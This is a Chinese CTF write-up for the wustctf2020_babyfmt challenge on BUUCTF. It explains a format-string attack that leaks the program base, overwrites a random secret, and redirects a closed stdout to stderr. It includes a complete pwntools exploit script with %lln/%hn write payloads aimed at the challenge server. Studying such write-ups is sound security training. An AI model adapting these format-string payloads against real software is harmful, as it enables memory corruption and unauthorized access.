BUU-wustctf2020_babyfmt-WP

Posted on Nov 30, 2020

这是一道格式化字符串的题目,绕的弯子有点多,我觉得是一道不错的题目。

保护全开。

程序本身来看,是很典型的让我们pwn的题。

leak函数做到了泄露一个字节,但是只能泄露一次。

fmt_attack就是一个格式化字符串漏洞,但是有两点要注意:

  1. 虽然和leak一样用了一个变量让我们只能使用一次这个漏洞,但是我们借用这个格式化字符串漏洞可以容易地修改*a1为零实现多次利用。
  2. 这里IDA的反编译出现了错误,printf其实并没有对输出的字节数做限制(可以尝试输入像%2000c这样地格式化占位符,就会发现输出了一大片空格,显然是没有进行真正地限制的)。

get_flag这个函数确实可以为我们输出flag,但是首先要输入一个与secret相等的字符串,而这是随机生成的,所以我们需要用格式化字符串完成覆写。然后关闭了标准输出,所以即使我们进入了这个if中,也无法输出,但是我们可以把bss段中存储stdout中存储的指针指向stderr。由于libc这个动态链接库中,stderr大概率就在stdout旁边,所以他们应该只有低四位会有区别。又由于ALSR只能在页级上实现随机化,所以低十二位都是固定的,那么我们可以先用一次leak泄露stderr的最低8位,然后再重连服务器,leak会变得8-16位,然后覆写掉stdout的指针的低16位。

这样我们现在的难点就是泄露程序基地址了,

而ask_time函数中的v2存储了一个空指令的地址

那么我们在ask_time要输入的时候选择输入一个字母不改变v2的值,就获得了基地址。

于是有exp

from pwn import *                                                                                 
                                                                                                  
context(log_level = 'debug',arch = 'amd64',os = 'linux')                                          
#sh = process("./wustctf2020_babyfmt")                                                            
sh = remote("node3.buuoj.cn","28174")                                                             
secret_addr = 0x202060                                                                            
                                                                                                  
sh.sendlineafter("tell me the time:",'a')                                                         
sh.recvuntil("ok! time is ")                                                                      
stack_addr = int(sh.recvuntil(':',drop = True),base = 10)                                         
base_addr = int(sh.recvuntil(':',drop = True),base = 10) - 0xbd5 #got from gdb                    
print hex(base_addr)                                                                              
                                                                                                  
stderr_addr = base_addr + 0x202040                                                                
stdout_addr = base_addr + 0x202020                                                                
                                                                                                  
sh.recvuntil(">>")                                                                                
                                                                                                  
for i in range(0,8):                                                                              
    sh.sendlineafter(">>","2")                                                                    
    payload = "%7$lln" + "%10$lln" + "aaa" + p64(base_addr + secret_addr + 8*i)                   
    sh.sendline(payload)                                                                          
                                                                                                  
sh.sendlineafter(">>","1")                                                                        
sh.sendline(p64(stderr_addr + 1))                                                                 
tail = ord(sh.recv(1))                                                                            
print (tail<<8) + 64                                                                              
                                                                                                  
payload = ("%7$lln" + "%" + str((tail<<8)+0x40) + "c" + "%11$hn").ljust(24,"a") + p64(stdout_addr)
sh.sendlineafter(">>","2")                                                                        
sh.sendline(payload)                                                                              
                                                                                                  
sleep(3)                                                                                          
                                                                                                  
sh.sendlineafter(">>","3")                                                                        
sh.send('\x00'*0x40)                                                                              
                                                                                                  
sh.interactive()                                                                                  

最后我想强调一下,类似于BUU-wustctf2020_closed-WP这道题,都关闭了stdout,现在有的解决方法有

  • 使用exec 1>&0将标准输出重定向到标准输入
  • 劫持stdout的指针指向如stderr等可泄露的输出流。